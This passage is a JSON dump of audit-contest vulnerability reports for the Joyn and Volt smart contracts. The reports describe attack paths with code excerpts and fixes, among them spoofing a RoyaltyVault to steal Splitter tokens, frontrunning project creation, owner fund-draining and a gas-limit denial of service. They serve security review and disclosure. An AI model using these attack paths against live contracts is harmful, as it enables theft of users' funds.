["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/core-contracts/contracts/CoreCollection.sol#L161-L163 https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/core-contracts/contracts/CoreCollection.sol#L307 https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/royalty-vault/contracts/RoyaltyVault.sol#L43-L50 https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/splits/contracts/Splitter.sol#L149-L169 # Vulnerability details ## Impact Collection owners will likely lose money by claiming fees unless the fees from a single NFT sale outweighs the cost of claiming it (not guaranteed). ## Proof of Concept Consider a new `Collection` with a `RoyaltyVault` and `Splitter` set and a nonzero mint fee. When calling `mintToken`, the `_handlePayment` function is called https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/core-contracts/contracts/CoreCollection.sol#L161-L163 This will transfer the minting fee to the `RoyaltyVault` contract. On each transfer of an NFT within the collection (for instance in the `_mint` call which occurs directly after calling `_handlePayment`), the `Collection` contract will call `sendToSplitter` on the `RoyaltyVault`: https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/core-contracts/contracts/CoreCollection.sol#L307 This function will forward the collection owners' portion of the minting on to the `Splitter` contract but another important thing to note is that we call `Splitter.incrementWindow`. https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/royalty-vault/contracts/RoyaltyVault.sol#L43-L50 This results in the fees newly deposited into the `Splitter` contract being held in a separate \"window\" to the fees from previous or later mints and need to be claimed separately. Remember that this process happens on every NFT sale so the only funds which will be held in this window will be the minting fees for this particular mint. https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/splits/contracts/Splitter.sol#L149-L169 From this we can see that the `claim` function will only claim the fraction of the fees which are owed to the caller from a single NFT mint. https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/splits/contracts/Splitter.sol#L112-L142 Note that we can attempt to claim from multiple windows in a single transaction using `claimForAllWindow` but as the name suggests it performs an unbounded loop trying to claim all previous windows (even ones which have already been claimed!) and it is likely that with a new window for every NFT sold this function will exceed the gas limit (consider an 10k token collection resulting in trying to do 10k SSTOREs at 20k gas each.), leaving us to claim each window individually with `claim`. https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/splits/contracts/Splitter.sol#L35-L62 We're then forced to claim the royalties from each NFT sold one by one, having to send huge numbers of calls to `claim` incurring the base transaction cost many times over and performing many ERC20 transfers when we could have just performed one. Compound on this that this needs to be repeated by everyone included in the split, multiplying the costs of claiming. Medium risk as it's gas inefficiency to the point of significant value leakage where collection owners will lose a large fraction of their royalties. ## Recommended Mitigation Steps It doesn't seem like the \"window\" mechanism does anything except raise gas costs to the extent that it will be very difficult to withdraw fees so it should be removed. "}, {"title": "createProject can be frontrun", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreFactory.sol#L70-L77 # Vulnerability details ## Impact This is dangerous in scam senario because the malicious user can frontrun and become the owner of the collection. As owner, one can withdraw `paymentToken`. (note that _collections.isForSale can be change by frontrunner) ## Proof of Concept 1. Anyone can call `createProject`. https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreFactory.sol#L70-L77 ```solidity function createProject( string memory _projectId, Collection[] memory _collections ) external onlyAvailableProject(_projectId) { require( _collections.length > 0, 'CoreFactory: should have more at least one collection' ); ``` ## Recommended Mitigation Steps Two way to mitigate. 1. Consider use white list on project creation. 2. Ask user to sign their address and check the signature against `msg.sender`. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol#L102 "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/25", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/15", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/12", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Centralisation RIsk: Owner Of `RoyaltyVault` Can Take All Funds", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/9", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/royalty-vault/contracts/RoyaltyVault.sol#L76-L83 # Vulnerability details ## Impact The owner of `RoyaltyVault` can set `_platformFee` to any arbitrary value (e.g. 100% = 10000) and that share of the contracts balance and future balances will be set to the `platformFeeRecipient` (which is in the owners control) rather than the splitter contract. As a result the owner can steal the entire contract balance and any future balances avoiding the splitter. ## Proof of Concept ``` function setPlatformFee(uint256 _platformFee) external override onlyOwner { platformFee = _platformFee; emit NewRoyaltyVaultPlatformFee(_platformFee); } ``` ## Recommended Mitigation Steps This issue may be mitigated by add a maximum value for the `_platformFee` say 5% (or some reasonable value based on the needs of the platform). Also consider calling `sendToSplitter()` before adjusting the `platformFee`. This will only allow the owner to change the fee for future value excluding the current contract balance. Consider the following code. ``` function setPlatformFee(uint256 _platformFee) external override onlyOwner { require(_platformFee < MAX_FEE); sendToSplitter(); // @audit this will need to be public rather than external platformFee = _platformFee; emit NewRoyaltyVaultPlatformFee(_platformFee); } ``` "}, {"title": "Fixed Amount of Gas Sent in Call May Be Insufficient", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/splits/contracts/Splitter.sol#L248-L257 # Vulnerability details ## Impact The function `attemptETHTransfer()` makes a call with a fixed amount of gas, 30,000. If the receiver is a contract this may be insufficient to process the `receive()` function. As a result the user would be unable to receive funds from this function. ## Proof of Concept ``` function attemptETHTransfer(address to, uint256 value) private returns (bool) { // Here increase the gas limit a reasonable amount above the default, and try // to send ETH to the recipient. // NOTE: This might allow the recipient to attempt a limited reentrancy attack. (bool success, ) = to.call{value: value, gas: 30000}(\"\"); return success; } ``` ## Recommended Mitigation Steps Consider removing the `gas` field to use the default amount and protect from reentrancy by using reentrancy guards and the [check-effects-interaction pattern](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html). Note this pattern is already applied correctly. "}, {"title": "DoS: `claimForAllWindows()` May Be Made Unusable By An Attacker", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/6", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/splits/contracts/Splitter.sol#L50-L59 # Vulnerability details ## Impact When the value of `currentWindow` is raised sufficiently high `Splitter.claimForAllWindows()` will not be able to be called due to the block gas limit. `currentWindow` can only ever be incremented and thus will always increase. This value will naturally increase as royalties are paid into the contract. Furthermore, an attacker can continually increment `currentWindow` by calling `incrementWindow()`. An attacker can impersonate a `IRoyaltyVault` and send 1 WEI worth of WETH to pass the required checks. ## Proof of Concept Excerpt from `Splitter.claimForAllWindows()` demonstrating the for loop over `currentWindow` that will grow indefinitely. ``` for (uint256 i = 0; i < currentWindow; i++) { if (!isClaimed(msg.sender, i)) { setClaimed(msg.sender, i); amount += scaleAmountByPercentage( balanceForWindow[i], percentageAllocation ); } } ``` `Splitter.incrementWindow()` may be called by an attacker increasing `currentWindow`. ``` function incrementWindow(uint256 royaltyAmount) public returns (bool) { uint256 wethBalance; require( IRoyaltyVault(msg.sender).supportsInterface(IID_IROYALTY), \"Royalty Vault not supported\" ); require( IRoyaltyVault(msg.sender).getSplitter() == address(this), \"Unauthorised to increment window\" ); wethBalance = IERC20(splitAsset).balanceOf(address(this)); require(wethBalance >= royaltyAmount, \"Insufficient funds\"); require(royaltyAmount > 0, \"No additional funds for window\"); balanceForWindow.push(royaltyAmount); currentWindow += 1; emit WindowIncremented(currentWindow, royaltyAmount); return true; } ``` ## Recommended Mitigation Steps Consider modifying the function `claimForAllWindows()` to instead claim for range of windows. Pass the function a `startWindow` and `endWindow` and only iterate through windows in that range. Ensure that `endWindow < currentWindow`. "}, {"title": "CoreCollection can be reinitialized", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/4", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L78-L97 # Vulnerability details ## Impact Reinitialization is possible for CoreCollection as `initialize` function sets `initialized` flag, but doesn't control for it, so the function can be rerun multiple times. Such types of issues tend to be critical as all core variables can be reset this way, for example `payableToken`, which provides a way to retrieve all the contract funds. However, setting priority to be medium as `initialize` is `onlyOwner`. A run by an external attacker this way is prohibited, but the possibility of owner initiated reset either by mistake or with a malicious intent remains with the same range of system breaking consequences. ## Proof of Concept `initialize` doesn't control for repetitive runs: https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L87 ## Recommended Mitigation Steps Add `onlyUnInitialized` modifier to the `initialize` function: https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L46-L49 "}, {"title": "Splitter: Anyone can call incrementWindow to steal the tokens in the contract", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/3", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L149-L169 # Vulnerability details ## Impact In general, the Splitter contract's incrementWindow function is only called when tokens are transfer to the contract, ensuring that the number of tokens stored in balanceForWindow is equal to the contract balance. However, anyone can use a fake RoyaltyVault contract to call the incrementWindow function of the Splitter contract, so that the amount of tokens stored in balanceForWindow is greater than the contract balance, after which the verified user can call the claim or claimForAllWindows functions to steal the tokens in the contract. ``` function incrementWindow(uint256 royaltyAmount) public returns (bool) { uint256 wethBalance; require( IRoyaltyVault(msg.sender).supportsInterface(IID_IROYALTY), \"Royalty Vault not supported\" ); require( IRoyaltyVault(msg.sender).getSplitter() == address(this), \"Unauthorised to increment window\" ); wethBalance = IERC20(splitAsset).balanceOf(address(this)); require(wethBalance >= royaltyAmount, \"Insufficient funds\"); require(royaltyAmount > 0, \"No additional funds for window\"); balanceForWindow.push(royaltyAmount); currentWindow += 1; emit WindowIncremented(currentWindow, royaltyAmount); return true; } ``` ## Proof of Concept https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L149-L169 ## Tools Used None ## Recommended Mitigation Steps Add the onlyRoyaltyVault modifier to the incrementWindow function of the Splitter contract to ensure that only RoyaltyVault contracts with a specific address can call this function. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/105", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/102", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/90", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/85", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "NonCustodialPSM can become insolvent as CPI index rises", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/83", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-03-volt-findings", "body": "NonCustodialPSM can become insolvent as CPI index rises"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "`vcon` address change not persistent across protocol components", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/60", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-03-volt-findings", "body": "`vcon` address change not persistent across protocol components"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Div by 0", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-volt-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-volt/tree/main/contracts/utils/Deviation.sol#L23 # Vulnerability details Division by 0 can lead to accidentally revert, (An example of a similar issue - https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/84) https://github.com/code-423n4/2022-03-volt/tree/main/contracts/utils/Deviation.sol#L23 a might be 0 It's internal function but since it is used in another internal functions that are used in public and neither of them has this protection I thought it can be considered as medium (e.g. isWithinDeviationThreshold) Thanks. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/48", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/34", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Setting new buffer does not reduce current buffer to cap", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/29", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-volt-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-volt/blob/f1210bf3151095e4d371c9e9d7682d9031860bbd/contracts/utils/RateLimited.sol#L142 # Vulnerability details ## Impact The `RateLimited.setBufferCap` function first updates the buffer and then sets the new cap, but does not apply the new cap to the updated buffer. Meaning, the updated buffer value can be larger than the new buffer cap which should never be the case. Actions consuming more than the new buffer cap can be performed. ```solidity function _setBufferCap(uint256 newBufferCap) internal { // @audit still uses old buffer cap, should set buffer first _updateBufferStored(); uint256 oldBufferCap = bufferCap; bufferCap = newBufferCap; emit BufferCapUpdate(oldBufferCap, newBufferCap); } ``` ## Recommended Mitigation Steps Update the buffer after setting the new cap: ```diff function _setBufferCap(uint256 newBufferCap) internal { - _updateBufferStored(); uint256 oldBufferCap = bufferCap; bufferCap = newBufferCap; + _updateBufferStored(); emit BufferCapUpdate(oldBufferCap, newBufferCap); } ``` "}, {"title": "Updating rate limit for addresses restores their entire buffer amount", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/27", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-volt-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-volt/blob/f1210bf3151095e4d371c9e9d7682d9031860bbd/contracts/utils/MultiRateLimited.sol#L280 # Vulnerability details ## Impact When the `bufferCap` is updated for an address in `_updateAddress`, the address's allowed buffer (`bufferStored`) is replenished to the entire `bufferCap`. The address could frontrun the `updateAddress` call and spend their entire buffer, then the buffer is replenished and they can spend their entire buffer a second time. ## Recommended Mitigation Steps Keep the old buffer value, capped by the new `bufferCap`: ```diff + uint256 newBuffer = individualBuffer(rateLimitedAddress); rateLimitData.lastBufferUsedTime = block.timestamp.toUint32(); rateLimitData.bufferCap = _bufferCap; rateLimitData.rateLimitPerSecond = _rateLimitPerSecond; - rateLimitData.bufferStored = _bufferCap; + rateLimitData.bufferStored = min(_bufferCap, newBuffer); ``` "}, {"title": "`OracleRef` assumes backup oracle uses the same normalizer as main oracle", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-volt-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-volt/blob/f1210bf3151095e4d371c9e9d7682d9031860bbd/contracts/refs/OracleRef.sol#L104 # Vulnerability details ## Impact The `OracleRef` assumes that the backup oracle uses the same normalizer as the main oracle. This generally isn't the case as it could be a completely different oracle, not even operated by Chainlink. If the main oracle fails, the backup oracle could be scaled by a wrong amount and return a wrong price which could lead to users being able to mint volt cheap or redeem volt for inflated underlying amounts. ## Recommended Mitigation Steps Should there be two scaling factors, one for each oracle? "}, {"title": "Oracle price does not compound", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/22", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-volt-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-volt/blob/f1210bf3151095e4d371c9e9d7682d9031860bbd/contracts/oracle/ScalingPriceOracle.sol#L136 https://github.com/code-423n4/2022-03-volt/blob/f1210bf3151095e4d371c9e9d7682d9031860bbd/contracts/oracle/ScalingPriceOracle.sol#L113 # Vulnerability details ## Impact The oracle does not correctly compound the monthly APRs - it resets on `fulfill`. Note that the [`oraclePrice` storage variable](https://github.com/code-423n4/2022-03-volt/blob/f1210bf3151095e4d371c9e9d7682d9031860bbd/contracts/oracle/ScalingPriceOracle.sol#L198) is only set in `_updateCPIData` as part of the oracle `fulfill` callback. It's set to the old price (price from 1 month ago) plus the interpolation from **`startTime`** to now. However, `startTime` is **reset** in `requestCPIData` due to the `afterTimeInit` modifier, and therefore when Chainlink calls `fulfill` in response to the CPI request, the `timeDelta = block.timestamp - startTime` is close to zero again and `oraclePrice` is updated to itself again. This breaks the core functionality of the protocol as the oracle does not track the CPI, it always resets to `1.0` after every `fulfill` instead of compounding it. In addition, there should also be a way for an attacker to profit from the sudden drop of the oracle price to `1.0` again. #### POC As an example, assume `oraclePrice = 1.0 (1e18)`, `monthlyAPR = 10%`. The time elapsed is 14 days. Calling `getCurrentOraclePrice()` now would return `1.0 + 14/28 * 10% = 1.05`. - it's now the 15th of the month and one can trigger `requestCPIData`. **This resets `startTime = now`**. - Calling `getCurrentOraclePrice()` now would return `1.0` again as `timeDelta` (and `priceDelta`) is zero: `oraclePriceInt + priceDelta = oraclePriceInt = 1.0`. - When `fulfill` is called it sets `oraclePrice = getCurrentOraclePrice()` which will be close to `1.0` as the `timeDelta` is tiny. ## Recommended Mitigation Steps The `oraclePrice` should be updated in `requestCPIData()` not in `fulfill`. Cover this scenario of multi-month accumulation in tests. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-volt-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-volt-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-volt-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": 